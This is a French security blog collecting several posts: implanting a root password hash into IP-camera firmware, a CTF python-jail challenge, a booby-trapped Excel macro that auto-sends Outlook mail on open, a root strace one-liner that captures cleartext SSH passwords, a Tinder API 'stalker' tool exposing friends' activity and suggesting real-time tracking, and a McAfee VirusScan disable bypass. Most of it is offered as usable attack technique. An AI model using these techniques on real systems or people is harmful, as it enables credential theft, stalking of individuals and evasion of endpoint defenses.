root:leKcWxk7577yg:0:0:Adminstrator:/:/bin/sh

Pour modifier le fichier daemon.vstar.v13 et le remplacer j'utilise un éditeur hexadécimal, bless :

Pour finir je reconstitue le zip :

$ zip -r firmware_modified.zip system/

Il faut repackager le firmware en ajoutant le header et le footer ainsi que les 4 bytes suivant le header, les 4 bytes constituent la taille du zip en hexadécimal !

Reconstruction du firmwware avec le header, les 4 bytes de la taille avec l'hexadécimal "4ad83" -> "\x16\x41\x04\x00" et le footer :

$ (echo -ne "wifi-camera-sys-qetyipadgjlzcbmn\x83\xad\x04\x00" ; cat firmware_modified.zip ; echo -ne "wifi-camera-end-nvxkhfsouteqzhpo" ) > firmware_modified.bin

Il ne reste plus qu'à uploader le firmware modifié par l'interface web, la camera reboot, je tente de me connecter en telnet avec le nouveau password.....

\o/ root access :]

J'ai donc construit un petit challenge par la suite, writeup :

La première étape était de récupérer la version du firmware en se connectant sur l'interface web avec les credentials par défaut (l'IP de la Camera IP étant donné). Soit en cherchant sur internet soit en retournant simplement la Camera IP.

Pour la deuxième étape il fallait analyser le firmware modifié (binwalk), récupérer le nouveau password root dans le fichier daemon.vstar.v13, le casser avec john (rapide avec le nouveau password faible), ensuite se connecter sur la Camera IP et récupérer le flag dans /tmp.

Si vous voulez essayer/analyser -> firmware modifié

Fap'ment,

Nous terminons ce CTF en 26ème positions sur 334 : https://ctftime.org/event/430

Malgré de nombreuses épreuves remplies de trolls, une épreuve de type python jail était présente et pas si compliquée, j'en ai profité pour réaliser un petit writeup : https://github.com/Beers4Flags/writeups/tree/master/2017/xiomara/pwn/secure_pyshell

Si avant de lire le writeup vous voulez tenter votre chance et essayer de sortir du shell python voici le script python 3 à lancer :

#!/usr/bin/python3
import sys, cmd, os

del __builtins__.__dict__['__import__']  
del __builtins__.__dict__['eval']

intro = """  
Welcome to Secure Python Interpreter  
================================================
Rules:  
    -Do not import anything
    -No peeking at files!
    -No sharing of flags :)
"""


def execute(command):  
       exec(command, globals())

class Jail(cmd.Cmd):

    prompt     = '>>> '
    filtered    = '\'|.|input|if|else|eval|exit|import|quit|exec|code|const|vars|str|chr|ord|local|global|join|format|replace|translate|try|except|with|content|frame|back'.split('|')

    def do_EOF(self, line):
        sys.exit()

    def emptyline(self):
        return cmd.Cmd.emptyline(self)

    def default(self, line):
        sys.stdout.write('\x00')

    def postcmd(self, stop, line):
        if any(f in line for f in self.filtered):
            print("Do you think my code is so insecure ?")
            print("You can never get out of my jail :)")
        else:
           try:
                execute(line)
           except NameError:
                print("NameError: name '%s' is not defined" % line)
           except Exception:
                print("Error: %s" % line)
        return cmd.Cmd.postcmd(self, stop, line)

if __name__ == "__main__":  
    try:
        Jail().cmdloop(intro)
    except KeyboardInterrupt:
        print("\rBye bye !")

Si les épreuves de type Python Jail vous intéressent, 3 épreuves similaires et intéressantes sont présentes sur le site de challenges root-me !

D'autres writeups de la team Beers4Flags sont et seront disponibles sur le repo github : https://github.com/Beers4Flags/writeups

Fap'ment,

La sensibilisation c'est bien, quand elle est éfficace c'est mieux ! Depuis que je travaille dans l'infosec j'ai déjà arrété d'y croire. Pascal l'organisateur de soirée, Véronique la RH ou Roger le trésorier ouvriront toujours le dernier SPAM du jour si celui-ci arrive dans leur boite mail et cela même 1 mois après un stage de sensibilisation. Et pourquoi ça ? Parce qu'ils s'en foutent tout simplement et c'est l'équipe en charge de la sécurité qui se retrouve à devoir lutter contre du malware de masse (malware bancaire, ransomware...) au lieu de faire de la "vraie" sécurité, et faire de la défence réactive vouée à l'echec au lieu de faire de la défense proactive.

Maintenant imaginons une boite avec une bonne ambiance. J'espère que que chez vous c'est le cas sinan la suite me semble difficilement envisageable, quoi-que...

La règle de base est de toujours verrouiller son ordinateur à partir du moment ou l'on s'en éloigne sous peine de se faire croissanter (envoi d'un mail à son insu aux collègues pour les informer que l'on apportera les croissants).

Adaptation de la règle à la sensibilisation

Il est possible d'appliquer cette règle dans le cas d'ouverture de SPAM ! je ne parle pas ici de transférer le maximum de SPAM avec dropper de ransomware aux collègues cela pourrait assez mal finir :p
L'idée est ici de créer soit même un faux SPAM qui, si celui-ci était ouvert aurait comme action l'envoi d'un mail à ses collègues par l'intermédiaire d'une liste de diffusion !

Aujourd'hui la majorité des SPAM sont soit des archives zip avec un fichier javascript à l'intérieur soit des documents Microsoft Word ou Excel avec des Macro en Visual Basic. Le langage Visual Basic est clairement imbuvable et je n'en écrirais dans ma vie uniquement que dans des cas similaires à celui-la.

Création du document piègé.

Choisir un fichier excel crédible, qui peut inspirer confiance. Pour changer des fausses factures Free on peut prendre un document excel de simulation de budget mensuel proposé par defaut dans les modèles Excel. Dans ce genre de fichier les victimes seront plus aptes à activer les Macro.

Il faut activer l'onglet developpeur dans les options :

Dans l'onglet développeur, ciquez sur Visual Basic ou [Alt+F11]

Créez la Macro :

Code de la Macro Visual Basic :

Private Sub Workbook_Open()  
    SendMessage (True)
End Sub


Sub SendMessage(DisplayMsg As Boolean, Optional AttachmentPath)

    Set objOutlook = CreateObject("Outlook.Application")
    Set objOutlookMsg = objOutlook.CreateItem(olMailItem)
    With objOutlookMsg
        Set objOutlookRecip = .Recipients.Add("arishitz@gmail.com")
        ' Set the Subject, Body, and Importance of the message.
        .Subject = "Croissants"
        .Body = "o/ Parce que je suis un n00b qui ouvre des SPAMs et qui clique partout. Merci ari_ pour la sensibilisation. \o" & vbCrLf & vbCrLf
        .Importance = olImportanceHigh  'High importance

        If Not IsMissing(AttachmentPath) Then
            Set objOutlookAttach = .Attachments.Add(AttachmentPath)
        End If

        For Each objOutlookRecip In .Recipients
            objOutlookRecip.Resolve
        Next

        .Save
        .Send
    End With
    Set objOutlook = Nothing
End Sub

N'oubliez pas de remplacer mon adresse mail par la votre ou une liste de diffusion, sinon il faudra me les apporter !

Ensuite enregistrez le document et envoyez le par mail à un/vos collègue(s) et attendez. Si après ouverture du document la macro est activée par un collègue vous devriez recevoir votre mail automatique et le lendemain ou quelques jour plus tard, les croissants devraient être présent le matin au travail :].

Si vous avez suivi mon premier tuto vous serez aussi protégé contre ce SPAM (pratique pour les tests) !

Fap'ment,

Ari

Quel est l'intérêt si on est déjà root !?

Imaginons le cas d'un Pentest (test d'intrusion), nous avons réussi à avoir un shell sur un server et à escalader nos privilèges en tant que root. Nous voulons ensuite essayer de rebondir sur d'autres serveurs. Pour cela, récupérer les passwords en clair des users qui se connectent peut être très utile.

Fonctionnement de OpenSSH :

OpenSSH intègre depuis 2002 une séparation des privilèges qui est activée par défaut. Plusieurs processus sshd sont créés lors d'une connexion entrante :

Le process à faible privilège doit envoyer le nom d'utilisateur ainsi que le password au processus à haut privilège afin de vérifier et valider l'authentification. C'est lors de cette communication inter-processus que l'interception peut avoir lieu.

Schema du fonctionement d'OpenSSH :

Source : http://www.citi.umich.edu/u/provos/ssh/privsep-f.html

Procéder à l'interception des passwords en clair :

Il faut utiliser l'outil en ligne de commande strace, l'attacher au processus sshd et attendre que celui-ci soit forké lors d'une connexion entrante. Il est ensuite possible d'intercepter les échanges du processus fils qui utilisera les appels systeme read et write pour communiquer avec le processus père. Les passwords seront ainsi interceptés en clair !

La commande à lancer avec les droits root :

# strace -ff -p $(pidof sshd) -e read |& grep -F ', "\f\0\0\0\'

-ff : permet de suivre les processus forkés

-p : spécifie le PID du processus sur lequel s'attacher

$(pidof sshd) : récupère le PID du processus sshd

-e read : trace les evenements de lecture de notre processus

|& : permet de ne pas interompre strace tout en grepant les resultats

grep -F ', "\f\0\0\0\' : pour chercher la chaine fixée ', "\f\0\0\0\'  

Une fois la commande lancée (dans un screen par exemple si on veut récupérer le résultat plus tard), les passwords des utilisateurs qui se connecteront en ssh apparaitront en clair :

Fap'ment,

Pour ma part j'utilise le multiplexeur de terminaux screen pour lancer weechat sur un serveur et récupérer l'accès a distance depuis n'importe quel terminal.

Différentes applications sur Android permettant de se connecter en ssh sur des machines distantes (JuiceSSH, ConnectBot...) mais pour irc ce n'est pas optimisé.

Il existe une application, Weechat android, dont le code source est sur github faisant office de client relay pour weechat.

Pour commencer il faut générer un certificat ssl qui sera utilisé pour chiffrer la connexion entre notre client et weechat :

$ mkdir -p ~/.weechat/ssl

$ cd ~/.weechat/ssl

$ openssl req -nodes -newkey rsa:2048 -keyout relay.pem -x509 -days 3650 -out relay.pem

Ensuite dans weechat il faut ajouter notre certificat :

/relay sslcertkey

Ajouter ensuite le relay avec le port que l'on veut :

/relay add ssl.weechat 9001

Configurer un password de connection :

/set relay.network.password ***********

Il faut que vous puissiez atteindre le port choisi depuis internet, donc si besoins il faudra configurer une redirection de port sur votre box ou sur le firewall de votre serveur dédié par exemple.

Pour finir il suffit d'installer l'application Weechat Android sur son smartphone et de la configurer dans "Settings" puis "Connection". Il faut seléctionner "WeeChat SSL" comme type de connexion, indiquer l'adresse/ip de votre machine hébergeant weechat, le port configuré pour votre relay et le password choisi.

Il est maintenant possible de se connecter, un message d'erreur de certificat doit normalement apparaitre, ceci est normal celui-ci est auto-signé, il faut l'accepter lors de la première connexion.

Vous pouvez aussi maintenant que vous avez un relay configurer vous connecter depuis le client WEB Weechat Glowing Bear, que vous pouvez auto-hébergé en récupérant le code source sur github

Fap'ment,

Tout d'abord pour ceux qui sortent du coma ou qui ne sortent pas de chez eux, Tinder est une application pour faire des rencontres sexuelles sympathiques, disponible sur smartphone où l'inscription se fait uniquement via le compte Facebook (malheureusement peut-être mais heureusement pour cet article...).

Le principe est simple, des profils avec photos, prénoms, âges et descriptions vous sont présentés et vous devez switcher vers la droite pour "liker" ou vers la gauche pour "noper" chaque profil. Si vous "likez" un profil et que la personne vous "like" également cela donne un "match" et vous pouvez commencer à sexter discuter.
Désolé par avance, cet article et cet outil ne vous permettrons pas d'augmenter significativement votre tableau de chasse ou à vous dépuceler!
A l'inverse vous pourriez vous rendre compte que votre dernière/actuelle/future conquête n'est pas si sérieuse que ça et qu'elle a surement acquis ici plus d'expérience de "likes" que toi tu n'en acquerras dans toute ta vie ;]

Passons aux choses techniques.

Tout d'abord tout ce qui est présenté ici, je cite : "It's not a bug it's a feature" d'après Tinder.

Comme beaucoup d'applications, Tinder dialogue en permanence avec une API hébergée à l'adresse https://api.gotinder.com. Cette API n'est pas publique et non documentée. En utilisant un outil comme Mitmproxy pour proxifier la connexion entre l'application et les serveurs il est possible d'observer l'ensemble des échanges. Pour cela il faut au préalable pousser un certificat généré par Mitmproxy sur le smartphone pour pouvoir déchiffrer la connexion entre le smartphone et le serveur.

Le certificate pinning a été implémenté dans l'application ce qui la protège contre les attaques du type (Man in the Middle)[https://en.wikipedia.org/wiki/Man-in-the-middle_attack]. Le ou les certificats SSL des serveurs Tinder sont stockés en dur dans l'application et vérifie que les échanges ne sont pas intercéptés, déchiffrés et re-chifrés par un tiers lors des communications application<->serveur.

Pour pouvoir tout de même observer les échanges il faut installer une application sur son téléphone. Android-SSL-TrustKiller est une application qui permet de contourner le SSL certificate pinning. Le traffic ne pouvant plus être réellement trusté après l'installation il est préférable d'utiliser un téléphone de test.

Pour installer Android-SSL-TrustKiller il suffit de :

• Télécharger l'APK ici : pre-compiled APK
• Installer l'application Cydia Substrate sur son smartphone
• Installer les tools Android pour adb : # apt-get install android-tools-adb
• Brancher son smartphone Android
• Activer le mode développeur sur son smartphone
• Activer le "Débogage USB"dans les "Options pour les développeurs"
• Vérifier que le téléphone est bien reconnu
• Lancer l'installation

Une fois la configuration en place on peut commencer à analyser les échanges. Quand on lance l'application on observe une première requête vers l'url http://api.gotinder.com/auth.

Le détail de la requête :

La réponse :

On identifie donc 2 valeurs servant à s'authentifier, un id facebook et un token facebook. Pour le premier il est assez simple de le récupérer, il suffit par exemple de se rendre à l'adresse http://findmyfbid.com/ et de rentrer l'url de son profil facebook.

Vous pouvez aussi très bien utiliser cette commande avec l'adresse de votre profil Facebook :
$ curl http://findmyfbid.com/ --data "url=https://www.facebook.com/your.name" | grep -m 1 -Eoh '[0-9]{7,10}'

Pour le token facebook c'est un peu plus compliqué, les moyens de le récupérer sans passer par le déchiffrement des échanges par un proxy sont limités. Il est possible de le trouver de la façon suivante avec le plugin firefox Firebug. Il faut lancer firebug et se rendre sur cette page facebook.
Vous devrez normalement vous connecter ou si vous l'êtes déjà vous obtiendrez cette popup : Cliquer sur "OK" et vous devez maintenant voir apparaitre une réponse à la requête POST confirm?.dpr1 dans l'onglet réseau de Firebug:

Le token facebook correspond l'intégralité de la chaine de caractères de la variable access_token
Une fois que l'on possède son id et son token on peut commencer à dialoguer avec l'API de Tinder.

Il faut aussi savoir, et cela va avoir toute son importance ici, que Tinder a intégré pendant l'été 2016 une nouvelle fonctionnalité "Tinder Social" dans son application. Elle permet de "sortir entre amis" et de rencontrer d'autres groupes d'amis pour une orgie aller boire une bière ou deux ou plus.
Cet option que chaque utilisateur est amené à accepter et accepte comme d'habitude les yeux fermés permet à l'application d'accéder via facebook à la liste de ses amis qui utilisent aussi Tinder ! La réciproque est donc vraie, vos amis verront que, vous aussi, vous êtes en... recherche de l'âme soeur.

Pour dialoguer avec l'APi de Tinder quoi de plus sympas que d'utiliser Python. Je me suis servi de Mitmproxy afin d'analyser les différentes requêtes qu'effectuait l'application. J'ai pu ainsi identifier les URI correspondants aux différentes fonctionnalités de l'application pour les reproduire. L'API est dans l'ensemble assez simple et renvoi des données en JSON facilement parsables.

Lorsqu'on affiche un profil utilisateur sur l'application (Le fait qu'il s'agisse le profil d'un ladyboy Thailandais n'est que pur hasard) :

La requête qui récupère l'intégralité de ses amis Facebook présent sur tinder :

La requête envoyée lorsqu'on "like" un profil :

Requête envoyée avec la géolocalisation :

Requête lorsqu'on envoi un message :

Liste des URI intéressantes dont je me suis servi ainsi que leur méthode :

URL_Tinder_API = "https://api.gotinder.com/URI" URI_Auth = POST "auth" URI_Profile = GET "user/user_id" URI_Facebook_Friends = GET "group/friends" URI_Like = GET "like/user_id" URI_Message = POST "user/matches/user_id_1_+_user_id_2" URI_Updates = POST "updates" (très verbeux, toutes les infos...) URI_Location = POST "user/ping" -> fonctionnalité payante bypassable URI_Recommandations = GET "user/recs" URI_Report = POST "report/user_id_1_+_user_id_2"

Avec ces URI voici les différentes actions possibles et intéressantes que l'on peut faire en les rejouant et que j'ai trouvé intéressant de scripter en python dans l'outil tinderStalker.py que vous pouvez trouver sur mon github : https://github.com/arishitz

Pour télécharger l'outil :

$ git clone https://github.com/arishitz/tinderstalker.git

Insérer ensuite l'ID et le Token Facebook dans le fichier credz.json et lancer l'outil :

$ python tinderStalker.py

Les fonctionnalités détaillées du menu :

0) Lister l'ensemble de ses amis facebook qui sont présents sur Tinder...

1) Récupérer pour chaque profil ses informations dont son nom, la date et l'heure GMT (+1h pour la france) de sa dernière connexion. Tinder avait soit disant retiré cette fonctionnalité pour des problèmes de confidentialité et de vie privée mais en réalité cette valeur n'est juste plus affichée dans l'application mais bien présente dans les échanges... Il est aussi possible de récupérer le genre, la date d'anniversaire (biaisée mais correspond tout de même à la bonne année), la distance nous séparant. La bio (description du profil), le profil Instagram, l'école et le travail peuvent aussi être vus si renseignés. Et pour finir le nombre d'amis en commun (Facebook), les "matchs" en commun et surtout le nombre de "matchs" total du profil (souvent très révélateur...) !

2) "Liker" un profil en particulier grâce à son id ou liker automatiquement les 100 profils (nombre maximum de profils "likables" par jour) qui nous sont recommandés par l'application sans avoir besoin de "swiper" vers la droite 100 fois comme un gros perver débile.

3) Envoyer un message a un profil grâce a son id. Il faut qu'il y ait déjà eu un "match" avec ce profil évidement... Pratique comme fonctionnalité pour les bots, faux profils de "jolies" femmes Russes t'invitant à les rejoindre sur un autre site avec un lien. Quand on à faim ne fait pas attention et que l'on clique on arrive généralement sur un site d'adultes ou il faut créer un compte, c'est comme ça que les escrocs sont rémunérés, au nombre de compte créés.

4) Modifier sa géolocalisation, cette fonctionnalité est normalement payante et disponible avec "Tinder Plus" au tarif de 5€ minimum pour 12 mois. Cela permet de changer sa position géographique pour "matcher" avec des ladyboys en Thailande personnes partout dans le monde !

5) Mettre à jour, cette option est destinée a ceux qui souhaite exploiter et récupérer les données de leur profil (matchs, conversations, infos...) au format json.

6) Signaler un profil, cela ne sert quasiment à rien et vous n'aurez pas besoin de l'utiliser. Même si votre ex/futur ex semble se faire plaisir avec son nombre de matchs grandissant d'heures en heures il n'est pas éthique de reporter son profil 3 fois par jours pour "Photos inappropriées" ou "SPAM"...

7) Quitter, même quand vous ragez il faut arrêter de stalker "proprement" de temps en temps.

Bien d'autres possibilités sont envisageables (récupération des photos, création de bot...), j'encourage toute personne lisant cet article à essayer l'outil avec de bonnes intentions :] et pourquoi pas à regarder plus en détails le code et s'en resservir.

Un projet que je trouverais intéressant de réaliser mais le temps me manque serait de développer un bot tinder qui avec des gros boobs un physique sympa et classique "likerai" le maximum de profil et indexerai un maximum d'informations dans ELK (Elasticsearch Logstash Kibana) pour faire une analyse sociologique. Il serait possible de voir le temps de réponse moyen après un match, la réponse la plus employée, le pourcentage de gros cochons, faire un classement des messages les plus drôles, beaufs, tristes et tout cela par ville et bien plus encore :].

Il est aussi possible en créant plusieurs bots qui "matcheraient" avec une personne ciblée, de tracer cette personne en temps réel par triangulation.

Fap'ment,

Pour ouvrir l'éditeur VisualBasique (oui les macros sont en VB, un bon language de *****) il faut appuyer sur les touche Alt+F11

Voici la Macro, tout est dans les commentaires :

Private Sub Application_ItemSend(ByVal Item As Object, Cancel As Boolean)
'---------------------------------------------------------------------------------------------
' Procédure : Protection Anti-Croissantage
' Auteur    : Ari
' Site      : http://arishitz.net
' Détail    : Teste la présence d'une chaine de caractères dans le ' sujet du mail avant l'envoi
'---------------------------------------------------------------------------------------------
'
'Teste si c'est un Email
If Not Item.Class = olMail Then Exit Sub
'Déclaration de la variable monMail
Dim monMail As MailItem
'Instancie L'élément à la variable monMail
Set monMail = Item
'Teste si le sujet contient une chaine de caractères spécifiques
If InStr(monMail.Subject, "1337") = 0 Then
    'Message en cas de fail
    MsgBox "Fail, pas de croissants pour les n00bs !"
    'Annule l'envoi
    Cancel = True
Else
    'Si la chaine de caractère attendu est présente alors elle est ' supprimée
    monMail.Subject = Replace(monMail.Subject, "1337", "")
End If
End Sub

Lorsqu'un email est donc envoyé sans la chaine attendu (ici 1337) dans le champs objet une popup s'ouvre et l'envoi est avorté. Si la chaine est présente celle-ci est retirée avant envoi.

Donc jusqu'ici tout fonctionne mais un message d'alerte apparait à chaque lancement d'Outlook demandant d'activer ou de désactiver les macros :

Il devient donc facile pour un neophyte de relancer rapidement Outlook en désactivant les macros et de pouvoir envoyer des emails.

Pour éviter se message, une solution est de signer la macro avec un certificat numérique. Pour créer le certificat il faut utiliser le tool SELFCERT.EXE qui se trouve dans 'C:\Program Files\Microsoft Office\OfficeXX', XX étant la version d'Office utilisée.

Ensuite il faut signer la macro dans Outlook avec le certificat numérique créé, Alt-F11 -> Outils -> Signature électonique...

Pour finir il suffit de relancer Outlook et quand le message d'alerte apparait, cliquer sur Approuver tous les documents de cet éditeur

Le message n'apparaitra maintenant plus au démarrage, vous pouvez faire une sieste mais faites attention quand même...

Fap'ment,

Voici un exemple de script que j'ai créé et que j'utilise : initstall.sh

Source sur mon repo Bitbucket

Dans le script les paquets suivant sont installés :
sudo bash-completion build-essential python-pip checkinstall git libssl-dev nmap openssh-server vim p7zip-full tor proxychains ufw

Des alias usuels sont aussi ajoutés au fichier .bash_aliases et une bannière est créée avec des informations utiles sur le système lors de connexion ssh.

Le script doit être lancé avec l'user root, exemple au démarage de la VM :

# curl -sS https://bitbucket.org/ari_/initstall/raw/ca7221f07cbb4b5f33b07ba8721e47de2f91774a/initstall.sh > initstall.sh && bash initstall.sh [user] [ssh_port] [ufw]

Il peut aussi être lancé a tout moment :

# ./initstall.sh [user] [ssh_port] [ufw]

Options :
[user] : ajouter un utilisateur existant au groupe sudo
[ssh_port] : modifier le port ssh par défaut
[ufw] : activer le firewall ufw et bloquer tout le traffic entrant sauf ssh

Aperçu :
Screenshot du rendu de la banner à la connexion d'un utilisateur en ssh :

Ne pas hésiter à relire le script, le modifier et à l'améliorer !

Fap'ment,

Il est normalement impossible de désactiver VirusScan Enterprise sur un poste même en tant qu'administrateur, un password est nécessaire mais une vulnérabilité existe et a été trouvé par Maurizio Agazzini sans devoir passer par le mode sans-echec.

Cette faille peut-être utile dans le cadre d'un test d'intrusion ou l'Anti-Virus de McAfee, maintenant Intel Security, poserait problème et cela même après avoir obtenu un compte Administrateur.

Une correction a été apporté dans la version de VirusScan 8.8 patch 7 avec le Hotfix 1110392 sorti le 25 Fevrier 2016. (Une grosse entreprise a généralement plusieurs années mois de retard)
Intel Security - Security Bulletins ID : SB10151

Maurizio Agazzini avait remonté cette vulnérabilité le 7 Novembre 2014 auprès de McAfee...

07/11/2014 - First communication sent to McAfee
17/11/2014 - Second communication sent to McAfee
17/11/2014 - McAfee: Request to send again vulnerability information
18/11/2014 - Sent vulnerability information and PoC again
11/12/2014 - McAfee: Problem confirmed
09/03/2015 - Request for update to McAfee
06/05/2015 - Request for update to McAfee
06/05/2015 - McAfee: Patch release planned for Q3
20/08/2015 - McAfee: Request for deadline delay (31/03/2016)
25/02/2016 - McAfee: SB10151 patch has been relased

Packet Storm - McAfee VirusScan Enterprise 8.8 Security Bypass

Pour faire simple, voici un PoC :

1 - Lancer l'outil Process Explorer de la suite Sysinternals ainsi que la console VirusScan avec un compte administrateur.

2 - Localiser le process mcconsol.exe, cliquer dessus puis sur les touches CTRL-L (ou dans Menu -> View -> Show Lower Pane).

3 - Trouver les clés de registre "HKLM\SOFTWARE\McAfee\DesktopProtection", puis clique droit sur "Close Handle" sur toutes.

4 - Retourner sur la console VirusScan, dans Menu -> Outils -> Options Générales -> Options de mot de passe

5 - Selectionner Aucun mot de passe et appliquer. Il est maintenant possible de désactiver VirusScan.

Toutes les versions de VirusScan Enterprise 8.8 avant le Hotfix 1110392 sont vulnérables.

Fap'ment,

Parce que shit happens, ce site openz.

Comment ?
Aussi simplement que ce shitlog d'history sur un serveur debian :
$ cd /var/www/
$ mkdir "ari-sh'tz"
$ cd ari-sh\'tz/
$ curl -sL https://deb.nodesource.com/setup_4.x | sudo bash -
$ apt-get install nodejs
$ wget https://ghost.org/zip/ghost-0.8.0.zip
$ 7z x ghost-0.8.0.zip
$ npm install --production
$ npm start

Pour le lancer en mode production il faut modifier le fichier config.js, ajouter l'url du blog et son adresse email puis utiliser la commande :
$ npm start --production

Ensuite ouvrir 127.0.0.1:2368 dans un vrai navigateur et parametrer le blog.
Doc pour le paramètrage : http://docs.ghost.org/fr/usage/

Dans mon cas j'utilise un reverse proxy sous nginx avec cette conf :
$ apt-get install nginx
$ nano /etc/nginx/sites-available/default

server {
    # ari_sh'tz
    listen 80;
    server_name ari.ovh;
    location / {
        proxy_pass http://127.0.0.1:2368;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection 'upgrade';
        proxy_set_header Host $host;
        proxy_cache_bypass $http_upgrade;
    }
}

Il est possible de faire tourner le site dans un screen :
$ apt-get install screen
$ screen -S site
$ npm start --production

Ou d'utiliser plus proprement un process manager pour application Node.js, PM2 : https://github.com/Unitech/pm2
npm install pm2 -g

Il faut créer un fichier de configuration pour notre application :
$ touch app.json
$ nano app.json

{
    "apps" : [{
        "name"       : "app_name",
        "script"      : "index.js",
        "args"        : "--production",
        "watch"       : false,
        "env": {
          "NODE_ENV": "development",
        },
        "env_production" : {
          "NODE_ENV": "production"
        }
    }]
}

Pour lancer l'application :
$ pm2 start app.json --env production

Pour debuger les logs en temps réel :
$ pm2 logs

Pour voir l'état de notre application :
$ pm2 monit

Done.

Fap'ment,